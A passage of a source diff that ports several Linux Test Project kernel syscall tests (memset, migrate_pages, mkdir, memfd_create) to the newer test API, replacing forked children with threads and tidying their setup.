+++ b/testcases/kernel/syscalls/memfd_create/memfd_create04.c
@@ -79,6 +79,8 @@
 	tst_res(TPASS,
 		"memfd_create succeeded for %s page size",
 		tflag.h_size);
+
+	SAFE_CLOSE(fd);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/memset/memset01.c b/testcases/kernel/syscalls/memset/memset01.c
index 1a0ccd0..17ae42c 100644
--- a/testcases/kernel/syscalls/memset/memset01.c
+++ b/testcases/kernel/syscalls/memset/memset01.c
@@ -1,36 +1,15 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2002
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   01/02/2003	Port to LTP	avenkat@us.ibm.com
+ *   06/30/2001	Port to Linux	nsharoff@us.ibm.com
  */
 
-/* 01/02/2003	Port to LTP	avenkat@us.ibm.com */
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-
-/*
- * NAME
- *	memset1.c -- test setting of  buffer
+/*\
+ * [Description]
  *
- * CALLS
- *	memset(3)
- *
- * ALGORITHM
- *	Check boundary conditions, go through 64 byte window.
- *
- * RESTRICTIONS
+ * The testcase for test setting of buffer by check boundary conditions.
  */
 
 #include <stdio.h>
@@ -39,77 +18,60 @@
 #include <stdlib.h>
 #include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "memset01";
-
-#undef BSIZE
-#define BSIZE	4096
-#define LEN	100
-#define FAILED 0
-#define PASSED 1
+#define BSIZE 4096
 
 char buf[BSIZE];
 
-int local_flag = PASSED;
-int block_number;
-int TST_TOTAL = 1;
-
-void fill(void);
-int checkit(char *str);
-
-int main(int argc, char *argv[])
-{
-	register int i, j;
-	char *p;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	local_flag = PASSED;
-
-	fill();
-
-	for (i = 0; i < 200; i++) {
-		fill();
-		p = &buf[400];
-		memset(p, 0, i);
-		if ((j = checkit(p)) != i) {
-			tst_resm(TINFO,
-				 "Not enough zero bytes, wanted %d, got %d", i,
-				 j);
-			local_flag = FAILED;
-			break;
-		}
-		if (!p[-1] || !p[i]) {
-			tst_resm(TINFO, "Boundary error, clear of %d", i);
-			local_flag = FAILED;
-		}
-		if (local_flag == FAILED)
-			break;
-	}
-
-	(local_flag == FAILED) ? tst_resm(TFAIL,
-					  "Test failed") : tst_resm(TPASS,
-								    "Test passed");
-	(local_flag == FAILED) ? tst_resm(TFAIL,
-					  "Test failed") : tst_resm(TPASS,
-								    "Test passed");
-	tst_exit();
-}
-
-void fill(void)
+static void fill(void)
 {
 	register int i;
+
 	for (i = 0; i < BSIZE; i++)
 		buf[i] = 'a';
 }
 
-int checkit(char *str)
+static int checkit(char *str)
 {
 	register int i = 0;
 
 	while (!*str++)
 		i++;
 
-	return (i);
+	return i;
 }
+
+static void setup(void)
+{
+	fill();
+}
+
+static void verify_memset(void)
+{
+	register int i, j;
+	char *p = &buf[400];
+
+	for (i = 0; i < 200; i++) {
+		fill();
+		memset(p, 0, i);
+		if ((j = checkit(p)) != i) {
+			tst_res(TINFO, "Not enough zero bytes, wanted %d, got %d", i, j);
+			break;
+		}
+		if (!p[-1] || !p[i]) {
+			tst_res(TINFO, "Boundary error, clear of %d", i);
+			break;
+		}
+	}
+
+	if (i == 200)
+		tst_res(TPASS, "Test passed");
+	else
+		tst_res(TFAIL, "Test fails");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_memset,
+};
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
index fa93154..198ba38 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
@@ -62,7 +62,7 @@
 static void test_sane_nodes(void)
 {
 	tst_resm(TINFO, "test_empty_mask");
-	TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node,
+	TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node,
 		     sane_old_nodes, sane_new_nodes));
 	check_ret(0);
 }
@@ -72,14 +72,14 @@
 	pid_t invalid_pid = -1;
 
 	tst_resm(TINFO, "test_invalid_pid -1");
-	TEST(ltp_syscall(__NR_migrate_pages, invalid_pid, sane_max_node,
+	TEST(tst_syscall(__NR_migrate_pages, invalid_pid, sane_max_node,
 		     sane_old_nodes, sane_new_nodes));
 	check_ret(-1);
 	check_errno(ESRCH);
 
 	tst_resm(TINFO, "test_invalid_pid unused pid");
 	invalid_pid = tst_get_unused_pid(cleanup);
-	TEST(ltp_syscall(__NR_migrate_pages, invalid_pid, sane_max_node,
+	TEST(tst_syscall(__NR_migrate_pages, invalid_pid, sane_max_node,
 		     sane_old_nodes, sane_new_nodes));
 	check_ret(-1);
 	check_errno(ESRCH);
@@ -88,7 +88,7 @@
 static void test_invalid_masksize(void)
 {
 	tst_resm(TINFO, "test_invalid_masksize");
-	TEST(ltp_syscall(__NR_migrate_pages, 0, -1, sane_old_nodes,
+	TEST(tst_syscall(__NR_migrate_pages, 0, -1, sane_old_nodes,
 		     sane_new_nodes));
 	check_ret(-1);
 	check_errno(EINVAL);
@@ -99,7 +99,7 @@
 	unsigned long *p;
 
 	tst_resm(TINFO, "test_invalid_mem -1");
-	TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, -1, -1));
+	TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, -1, -1));
 	check_ret(-1);
 	check_errno(EFAULT);
 
@@ -108,13 +108,13 @@
 		 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
 	if (p == MAP_FAILED)
 		tst_brkm(TBROK | TERRNO, cleanup, "mmap");
-	TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, p, p));
+	TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, p, p));
 	check_ret(-1);
 	check_errno(EFAULT);
 
 	SAFE_MUNMAP(cleanup, p, getpagesize());
 	tst_resm(TINFO, "test_invalid_mem unmmaped");
-	TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, p, p));
+	TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, p, p));
 	check_ret(-1);
 	check_errno(EFAULT);
 }
@@ -143,7 +143,7 @@
 		memset(new_nodes, 0, sane_nodemask_size);
 		set_bit(new_nodes, invalid_node, 1);
 
-		TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node,
+		TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node,
 			     old_nodes, new_nodes));
 		check_ret(-1);
 		check_errno(EINVAL);
@@ -178,7 +178,7 @@
 		if (ltpuser == NULL)
 			tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
 		SAFE_SETUID(NULL, ltpuser->pw_uid);
-		TEST(ltp_syscall(__NR_migrate_pages, parent_pid,
+		TEST(tst_syscall(__NR_migrate_pages, parent_pid,
 			     sane_max_node, sane_old_nodes, sane_new_nodes));
 		ret |= check_ret(-1);
 		ret |= check_errno(EPERM);
@@ -215,7 +215,7 @@
 	int node, ret;
 
 	tst_require_root();
-	TEST(ltp_syscall(__NR_migrate_pages, 0, 0, NULL, NULL));
+	TEST(tst_syscall(__NR_migrate_pages, 0, 0, NULL, NULL));
 
 	if (!is_numa(NULL, NH_MEMS, 1))
 		tst_brkm(TCONF, NULL, "requires NUMA with at least 1 node");
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
index 485a1c5..32da570 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
@@ -276,7 +276,6 @@
 	else if (tst_kvercmp(2, 6, 18) < 0)
 		tst_brk(TCONF, "2.6.18 or greater kernel required");
 
-	FILE_PRINTF("/proc/sys/kernel/numa_balancing", "0");
 	/*
 	 * find 2 nodes, which can hold NODE_MIN_FREEMEM bytes
 	 * The reason is that:
@@ -327,9 +326,9 @@
 	.forks_child = 1,
 	.test_all = run,
 	.setup = setup,
-	.save_restore = (const char * const[]) {
-		"?/proc/sys/kernel/numa_balancing",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/kernel/numa_balancing", "0"},
+		{}
 	},
 };
 #else
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c
index c6afb4c..f77e475 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c
@@ -127,6 +127,11 @@
 			tst_res(TFAIL | TERRNO, "migrate_pages() failed");
 			return;
 		}
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Out of runtime, exiting...");
+			break;
+		}
 	}
 	SAFE_SETEUID(0);
 
@@ -134,6 +139,7 @@
 }
 
 static struct tst_test test = {
+	.max_runtime = 300,
 	.min_kver = "2.6.32",
 	.needs_root = 1,
 	.setup = setup,
diff --git a/testcases/kernel/syscalls/mkdir/Makefile b/testcases/kernel/syscalls/mkdir/Makefile
index 044619f..881b087 100644
--- a/testcases/kernel/syscalls/mkdir/Makefile
+++ b/testcases/kernel/syscalls/mkdir/Makefile
@@ -3,6 +3,8 @@
 
 top_srcdir		?= ../../../..
 
+mkdir09: CFLAGS += -pthread
+
 include $(top_srcdir)/include/mk/testcases.mk
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mkdir/mkdir02.c b/testcases/kernel/syscalls/mkdir/mkdir02.c
index f09e3c3..7fa055b 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir02.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir02.c
@@ -3,91 +3,65 @@
  * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*  DESCRIPTION
- *  This test will verify that new directory created by mkdir(2) inherites
- *  the group ID from the parent directory and S_ISGID bit, if the S_ISGID
- *  bit is set in the parent directory.
+/*\
+ * [Description]
+ *
+ * Verify that new directory created by mkdir(2) inherites the group ID from
+ * the parent directory and S_ISGID bit, if the S_ISGID bit is set in the
+ * parent directory.
  */
 
-#include <errno.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <pwd.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <stdlib.h>
 #include "tst_test.h"
+#include "tst_uid.h"
 
 #define TESTDIR1	"testdir1"
 #define TESTDIR2	"testdir1/testdir2"
 
-static uid_t nobody_uid, bin_uid;
-static gid_t nobody_gid, bin_gid;
+static gid_t free_gid;
 
 static void verify_mkdir(void)
 {
-	struct stat buf1, buf2;
-	pid_t pid;
+	struct stat statbuf;
 	int fail = 0;
 
-	pid = SAFE_FORK();
-	if (pid == 0) {
-		SAFE_SETREGID(bin_gid, bin_gid);
-		SAFE_SETREUID(bin_uid, bin_uid);
-		SAFE_MKDIR(TESTDIR2, 0777);
+	SAFE_MKDIR(TESTDIR2, 0777);
+	SAFE_STAT(TESTDIR2, &statbuf);
 
-		SAFE_STAT(TESTDIR2, &buf2);
-		SAFE_STAT(TESTDIR1, &buf1);
-
-		if (buf2.st_gid != buf1.st_gid) {
-			tst_res(TFAIL,
-				"New dir FAILED to inherit GID have %d expected %d",
-				buf2.st_gid, buf1.st_gid);
-			fail = 1;
-		}
-
-		if (!(buf2.st_mode & S_ISGID)) {
-			tst_res(TFAIL, "New dir FAILED to inherit S_ISGID");
-			fail = 1;
-		}
-
-		if (!fail)
-			tst_res(TPASS, "New dir inherited GID and S_ISGID");
-
-		exit(0);
+	if (statbuf.st_gid != free_gid) {
+		tst_res(TFAIL,
+			"New dir FAILED to inherit GID: has %d, expected %d",
+			statbuf.st_gid, free_gid);
+		fail = 1;
 	}
 
-	tst_reap_children();
+	if (!(statbuf.st_mode & S_ISGID)) {
+		tst_res(TFAIL, "New dir FAILED to inherit S_ISGID");
+		fail = 1;
+	}
+
+	if (!fail)
+		tst_res(TPASS, "New dir inherited GID and S_ISGID");
+
 	SAFE_RMDIR(TESTDIR2);
 }
 
 
 static void setup(void)
 {
-	struct passwd *pw;
-	struct stat buf;
-	pid_t pid;
+	struct passwd *pw = SAFE_GETPWNAM("nobody");
 
-	pw = SAFE_GETPWNAM("nobody");
-	nobody_uid = pw->pw_uid;
-	nobody_gid = pw->pw_gid;
-	pw = SAFE_GETPWNAM("bin");
-	bin_uid = pw->pw_uid;
-	bin_gid = pw->pw_gid;
+	free_gid = tst_get_free_gid(pw->pw_gid);
 
 	umask(0);
+	SAFE_MKDIR(TESTDIR1, 0777);
+	SAFE_CHMOD(TESTDIR1, 0777 | S_ISGID);
+	SAFE_CHOWN(TESTDIR1, getuid(), free_gid);
 
-	pid = SAFE_FORK();
-	if (pid == 0) {
-		SAFE_SETREGID(nobody_gid, nobody_gid);
-		SAFE_SETREUID(nobody_uid, nobody_uid);
-		SAFE_MKDIR(TESTDIR1, 0777);
-		SAFE_STAT(TESTDIR1, &buf);
-		SAFE_CHMOD(TESTDIR1, buf.st_mode | S_ISGID);
-		exit(0);
-	}
-
-	tst_reap_children();
+	SAFE_SETREGID(pw->pw_gid, pw->pw_gid);
+	SAFE_SETREUID(pw->pw_uid, pw->pw_uid);
 }
 
 static struct tst_test test = {
@@ -95,5 +69,4 @@
 	.needs_tmpdir = 1,
 	.needs_root = 1,
 	.test_all = verify_mkdir,
-	.forks_child = 1,
 };
diff --git a/testcases/kernel/syscalls/mkdir/mkdir04.c b/testcases/kernel/syscalls/mkdir/mkdir04.c
index 87512a4..bc060f3 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir04.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir04.c
@@ -8,19 +8,14 @@
  */
 
 #include <errno.h>
-#include <sys/stat.h>
 #include <sys/types.h>
 #include <pwd.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <stdlib.h>
 #include "tst_test.h"
+#include "tst_uid.h"
 
 #define TESTDIR	 "testdir"
 #define TESTSUBDIR "testdir/testdir"
 
-static uid_t nobody_uid, bin_uid;
-
 static void verify_mkdir(void)
 {
 	if (mkdir(TESTSUBDIR, 0777) != -1) {
@@ -39,24 +34,14 @@
 
 static void setup(void)
 {
-	struct passwd *pw;
-	pid_t pid;
+	uid_t test_users[2];
 
-	pw = SAFE_GETPWNAM("nobody");
-	nobody_uid = pw->pw_uid;
-	pw = SAFE_GETPWNAM("bin");
-	bin_uid = pw->pw_uid;
+	tst_get_uids(test_users, 0, 2);
 
-	pid = SAFE_FORK();
-	if (pid == 0) {
-		SAFE_SETREUID(nobody_uid, nobody_uid);
-		SAFE_MKDIR(TESTDIR, 0700);
-		exit(0);
-	}
+	SAFE_MKDIR(TESTDIR, 0700);
+	SAFE_CHOWN(TESTDIR, test_users[0], getgid());
 
-	tst_reap_children();
-
-	SAFE_SETREUID(bin_uid, bin_uid);
+	SAFE_SETREUID(test_users[1], test_users[1]);
 }
 
 static struct tst_test test = {
@@ -64,5 +49,4 @@
 	.needs_tmpdir = 1,
 	.needs_root = 1,
 	.setup = setup,
-	.forks_child = 1,
 };
diff --git a/testcases/kernel/syscalls/mkdir/mkdir09.c b/testcases/kernel/syscalls/mkdir/mkdir09.c
index 88034d2..44a2348 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir09.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir09.c
@@ -1,460 +1,145 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * Copyright (c) Linux Test Project, 2022
  */
 
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-/* 10/30/2002	Port to LTP	dbarrera@us.ibm.com */
-
-/*
- * Stress test of mkdir call.
+/*\
+ * [Description]
  *
- * ALGORITHM
- *	Create multiple processes which create subdirectories in the
- *	same directory multiple times. On exit of all child processes,
- *	make sure all subdirectories can be removed.
- *
- *      USAGE: mkdir09 -c # -t # -d #
- *              -c = number of children groups
- *              -t = number of seconds to run test
- *              -d = number of directories created in test directory
- *
+ * Create multiple processes which create subdirectories in the
+ * same directory multiple times within test time.
  */
 
 #include <stdio.h>
-#include <sys/wait.h>
-#include <sys/types.h>
 #include <sys/param.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <signal.h>
-#include <unistd.h>
-#include <setjmp.h>
-#include "test.h"
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
 
-#include <stdlib.h>
-#include <stdlib.h>
-#include <string.h>
-
+#define MNTPOINT	"mntpoint"
+#define MODE_RWX	07770
+#define DIR_NAME	MNTPOINT "/X.%d"
+#define DIR_NAME_GROUP	MNTPOINT "/X.%d.%d"
 #define NCHILD		3
 
-#define MODE_RWX	07770
-#define DIR_NAME	"./X.%d"
-
-char *TCID = "mkdir09";
-int TST_TOTAL = 1;
-
-char testdir[MAXPATHLEN];
-int parent_pid, sigchld, sigterm, jump;
-void term(int sig);
-void chld(int sig);
-int *pidlist, child_count;
-jmp_buf env_buf;
-
-int getchild(int group, int child, int children);
-int dochild1(void);
-int dochild2(void);
-int dochild3(int group);
-int massmurder(void);
-int runtest(void);
-void setup(void);
-void cleanup(void);
-
 static int child_groups = 2;
-static int test_time = 5;
-static int nfiles = 5;
+static int test_time = 1;
+static int nfiles = 10;
+static volatile int done;
 
-static char *opt_child_groups;
-static char *opt_test_time;
-static char *opt_nfiles;
-
-static option_t options[] = {
-	{"c:", NULL, &opt_child_groups},
-	{"t:", NULL, &opt_test_time},
-	{"d:", NULL, &opt_nfiles},
-	{NULL, NULL, NULL}
-};
-
-static void usage(void)
+/*
+ * Routine which attempts to create directories in the test
+ * directory that already exist.
+ */
+static void test1(int child_num)
 {
-	printf("  -c      Child groups\n");
-	printf("  -t      Test runtime\n");
-	printf("  -d      Directories\n");
-}
-
-int main(int argc, char *argv[])
-{
-	tst_parse_opts(argc, argv, options, usage);
-
-	if (opt_child_groups)
-		child_groups = atoi(opt_child_groups);
-
-	if (opt_test_time)
-		test_time = atoi(opt_test_time);
-
-	if (opt_nfiles)
-		nfiles = atoi(opt_nfiles);
-
-	setup();
-
-	if (signal(SIGTERM, term) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error setting up SIGTERM signal, ERRNO = %d", errno);
-
-	}
-
-	if (signal(SIGCHLD, chld) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error setting up SIGCHLD signal, ERRNO = %d", errno);
-
-	}
-
-	runtest();
-	cleanup();
-	tst_exit();
-}
-
-int runtest(void)
-{
-	int i, j;
-	int count, child, status;
+	int j;
 	char tmpdir[MAXPATHLEN];
 
-	/* Create permanent directories with holes in directory structure */
-
-	for (j = 0; j < nfiles; j++) {
-		sprintf(tmpdir, DIR_NAME, j);
-		TEST(mkdir(tmpdir, MODE_RWX));
-
-		if (TEST_RETURN < 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "Error creating permanent directories, ERRNO = %d",
-				 TEST_ERRNO);
-		}
-		if ((j % NCHILD) != 0) {
-			if (rmdir(tmpdir) < 0) {
-				tst_brkm(TFAIL, cleanup,
-					 "Error removing directory, ERRNO = %d",
-					 errno);
-			}
-		}
-	}
-
-	parent_pid = getpid();
-
-	/* allocate space for list of child pid's */
-
-	if ((pidlist = malloc((child_groups * NCHILD) * sizeof(int))) ==
-	    NULL) {
-		tst_brkm(TWARN, NULL,
-			 "\tMalloc failed (may be OK if under stress)");
-	}
-
-	child_count = 0;
-	for (j = 0; j < child_groups; j++) {
-		for (i = 0; i < NCHILD; i++) {
-			getchild(j, i, child_count);
-			child_count++;
-		}
-	}
-
-	/* If signal already received, skip to cleanup */
-
-	if (!sigchld && !sigterm) {
-		if (test_time) {
-			/* To get out of sleep if signal caught */
-			if (!setjmp(env_buf)) {
-				jump++;
-				sleep(test_time);
-			}
-		} else {
-			pause();
-		}
-	}
-
-	/* Reset signals since we are about to clean-up and to avoid
-	 * problem with wait call *               $
-	 * */
-
-	if (signal(SIGTERM, SIG_IGN) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error resetting SIGTERM signal, ERRNO = %d", errno);
-	}
-	if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "Error resetting SIGCHLD signal, ERRNO = %d", errno);
-	}
-
-	if (test_time) {
-		sleep(test_time);
-	}
-
-	/* Clean up children */
-	massmurder();
-	/*
-	 * Watch children finish and show returns.
-	 */
-
-	count = 0;
-	while (1) {
-		if ((child = wait(&status)) > 0) {
-			if (status != 0) {
-				tst_brkm(TWARN,
-					 NULL,
-					 "\tChild{%d} exited status = %0x",
-					 child, status);
-			}
-			count++;
-		} else {
-			if (errno != EINTR) {
+	while (!done) {
+		for (j = 0; j < nfiles; j += NCHILD) {
+			sprintf(tmpdir, DIR_NAME, j);
+			TST_EXP_FAIL_SILENT(mkdir(tmpdir, MODE_RWX), EEXIST);
+			if (!TST_PASS)
 				break;
-			}
-			tst_resm(TINFO, "\tSignal detected during wait");
 		}
 	}
+	tst_res(TPASS, "[%d] create dirs that already exist", child_num);
+}
 
-	/*
-	 * Make sure correct number of children exited.
-	 */
+/*
+ * Child routine which attempts to remove directories from the
+ * test directory which do not exist.
+ */
+static void test2(int child_num)
+{
+	int j;
+	char tmpdir[MAXPATHLEN];
 
-	if (count != child_count) {
-		tst_resm(TWARN, "\tWrong number of children waited on!");
-		tst_brkm(TWARN, NULL, "\tSaw %d, expected %d", count,
-			 NCHILD);
+	while (!done) {
+		for (j = 1; j < nfiles; j += NCHILD) {
+			sprintf(tmpdir, DIR_NAME, j);
+			TST_EXP_FAIL_SILENT(rmdir(tmpdir), ENOENT);
+			if (!TST_PASS)
+				break;
+		}
+	}
+	tst_res(TPASS, "[%d] remove dirs that do not exist", child_num);
+}
+
+/*
+ * Child routine which creates and deletes directories in the
+ * test directory.
+ */
+static void test3(int child_num)
+{
+	int j;
+	char tmpdir[MAXPATHLEN];
+
+	while (!done) {
+		for (j = 2; j < nfiles; j += NCHILD) {
+			sprintf(tmpdir, DIR_NAME_GROUP, j, child_num / NCHILD);
+			TST_EXP_PASS_SILENT(mkdir(tmpdir, MODE_RWX));
+			if (!TST_PASS)
+				break;
+		}
+		for (j = 2; j < nfiles; j += NCHILD) {
+			sprintf(tmpdir, DIR_NAME_GROUP, j, child_num / NCHILD);
+			TST_EXP_PASS_SILENT(rmdir(tmpdir));
+			if (!TST_PASS)
+				break;
+		}
+	}
+	tst_res(TPASS, "[%d] create/remove dirs", child_num);
+}
+
+static void *child_thread_func(void *arg)
+{
+	void (*tests[NCHILD])(int) = { test1, test2, test3 };
+	int child_num = (long)arg;
+
+	tests[child_num % NCHILD](child_num);
+
+	/* if any thread failed, make other finish as well */
+	done = 1;
+
+	return NULL;
+}
+
+static void verify_mkdir(void)
+{
+	pthread_t child_thread[NCHILD * child_groups];
+	long i;
+
+	done = 0;
+	for (i = 0; i < child_groups * NCHILD; i++) {
+		SAFE_PTHREAD_CREATE(&child_thread[i], NULL,
+			child_thread_func, (void *)i);
 	}
 
-	/* Check for core file in test directory. */
+	sleep(test_time);
+	done = 1;
 
-	if (access("core", 0) == 0) {
-		tst_brkm(TWARN, NULL, "\tCore file found in test directory.");
-	}
+	for (i = 0; i < child_groups * NCHILD; i++)
+		SAFE_PTHREAD_JOIN(child_thread[i], NULL);
+}
 
-	/* Remove expected files */
+static void setup(void)
+{
+	int j;
+	char tmpdir[MAXPATHLEN];
 
 	for (j = 0; j < nfiles; j += NCHILD) {
 		sprintf(tmpdir, DIR_NAME, j);
-		if (rmdir(tmpdir) < 0) {
-			tst_brkm(TWARN,
-				 NULL,
-				 "\tError removing expected directory, ERRNO = %d",
-				 errno);
-		}
-	}
-
-	tst_resm(TPASS, "PASS");
-
-	return 0;
-}
-
-int getchild(int group, int child, int children)
-{
-	int pid;
-
-	pid = FORK_OR_VFORK();
-
-	if (pid < 0) {
-
-		massmurder();	/* kill the kids */
-		tst_brkm(TBROK, cleanup,
-			 "\tFork failed (may be OK if under stress)");
-	} else if (pid == 0) {	/* child does this */
-		switch (children % NCHILD) {
-		case 0:
-			dochild1();	/* create existing directories */
-			break;	/* so lint won't complain */
-		case 1:
-			dochild2();	/* remove nonexistant directories */
-			break;
-		case 2:
-			dochild3(group);	/* create/delete directories */
-			break;
-		default:
-			tst_brkm(TFAIL, cleanup,
-				 "Test not inplemented for child %d", child);
-			exit(1);
-			break;
-		}
-		exit(1);	/* If child gets here, something wrong */
-	}
-	pidlist[children] = pid;
-	return 0;
-}
-
-void term(int sig)
-{
-	/* Routine to handle SIGTERM signal. */
-
-	if (parent_pid == getpid()) {
-		tst_brkm(TWARN, NULL, "\tsignal SIGTERM received by parent.");
-	}
-	sigterm++;
-	if (jump) {
-		longjmp(env_buf, 1);
+		SAFE_MKDIR(tmpdir, MODE_RWX);
 	}
 }
 
-void chld(int sig)
-{
-	/* Routine to handle SIGCHLD signal. */
-
-	sigchld++;
-	if (jump) {
-		longjmp(env_buf, 1);
-	}
-}
-
-int dochild1(void)
-{
-	/* Child routine which attempts to create directories in the test
-	 * directory that already exist. Runs until a SIGTERM signal is
-	 * received. Will exit with an error if it is able to create the
-	 * directory or if the expected error is not received.
-	 */
-
-	int j;
-	char tmpdir[MAXPATHLEN];
-
-	while (!sigterm) {
-		for (j = 0; j < nfiles; j += NCHILD) {
-			sprintf(tmpdir, DIR_NAME, j);
-			TEST(mkdir(tmpdir, MODE_RWX));
-
-			if (TEST_RETURN < 0) {
-
-				if (TEST_ERRNO != EEXIST) {
-					tst_brkm(TFAIL, cleanup,
-						 "MKDIR %s, errno = %d; Wrong error detected.",
-						 tmpdir, TEST_ERRNO);
-					exit(1);
-				}
-			} else {
-				tst_brkm(TFAIL, cleanup,
-					 "MKDIR %s succeded when it shoud have failed.",
-					 tmpdir);
-				exit(1);
-			}
-		}
-	}
-	exit(0);
-}
-
-int dochild2(void)
-{
-	/* Child routine which attempts to remove directories from the
-	 * test directory which do not exist. Runs until a SIGTERM
-	 * signal is received. Exits with an error if the proper
-	 * error is not detected or if the remove operation is
-	 * successful.
-	 */
-
-	int j;
-	char tmpdir[MAXPATHLEN];
-
-	while (!sigterm) {
-		for (j = 1; j < nfiles; j += NCHILD) {
-			sprintf(tmpdir, DIR_NAME, j);
-			if (rmdir(tmpdir) < 0) {
-				if (errno != ENOENT) {
-					tst_brkm(TFAIL, cleanup,
-						 "RMDIR %s, errno = %d; Wrong error detected.",
-						 tmpdir, errno);
-					exit(1);
-				}
-			} else {
-				tst_brkm(TFAIL, cleanup,
-					 "RMDIR %s succeded when it should have failed.",
-					 tmpdir);
-				exit(1);
-			}
-		}
-	}
-	exit(0);
-	return 0;
-}
-
-int dochild3(int group)
-{
-	/* Child routine which creates and deletes directories in the
-	 * test directory. Runs until a SIGTERM signal is received, then
-	 * cleans up and exits. Detects error if the expected condition
-	 * is not encountered.
-	 */
-
-	int j;
-
-	char tmpdir[MAXPATHLEN];
-	char tmp[MAXPATHLEN];
-
-	while (!sigterm) {
-		for (j = 2; j < nfiles; j += NCHILD) {
-			strcpy(tmp, DIR_NAME);
-			strcat(tmp, ".%d");
-			sprintf(tmpdir, tmp, j, group);
-
-			TEST(mkdir(tmpdir, MODE_RWX));
-
-			if (TEST_RETURN < 0) {
-				tst_brkm(TFAIL, cleanup,
-					 "MKDIR %s, errno = %d; Wrong error detected.",
-					 tmpdir, TEST_ERRNO);
-				exit(1);
-			}
-		}
-		for (j = 2; j < nfiles; j += NCHILD) {
-			strcpy(tmp, DIR_NAME);
-			strcat(tmp, ".%d");
-			sprintf(tmpdir, tmp, j, group);
-			if (rmdir(tmpdir) < 0) {
-				tst_brkm(TFAIL, cleanup,
-					 "RMDIR %s, errno = %d; Wrong error detected.",
-					 tmpdir, errno);
-				exit(1);
-			}
-		}
-	}
-	exit(0);
-}
-
-int massmurder(void)
-{
-	register int j;
-	for (j = 0; j < child_count; j++) {
-		if (pidlist[j] > 0) {
-			if (kill(pidlist[j], SIGTERM) < 0) {
-				tst_brkm(TFAIL, cleanup,
-					 "Error killing child %d, ERRNO = %d",
-					 j, errno);
-			}
-		}
-	}
-	return 0;
-}
-
-void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.test_all = verify_mkdir,
+	.needs_root = 1,
+	.setup = setup,
+	.mount_device = 1,
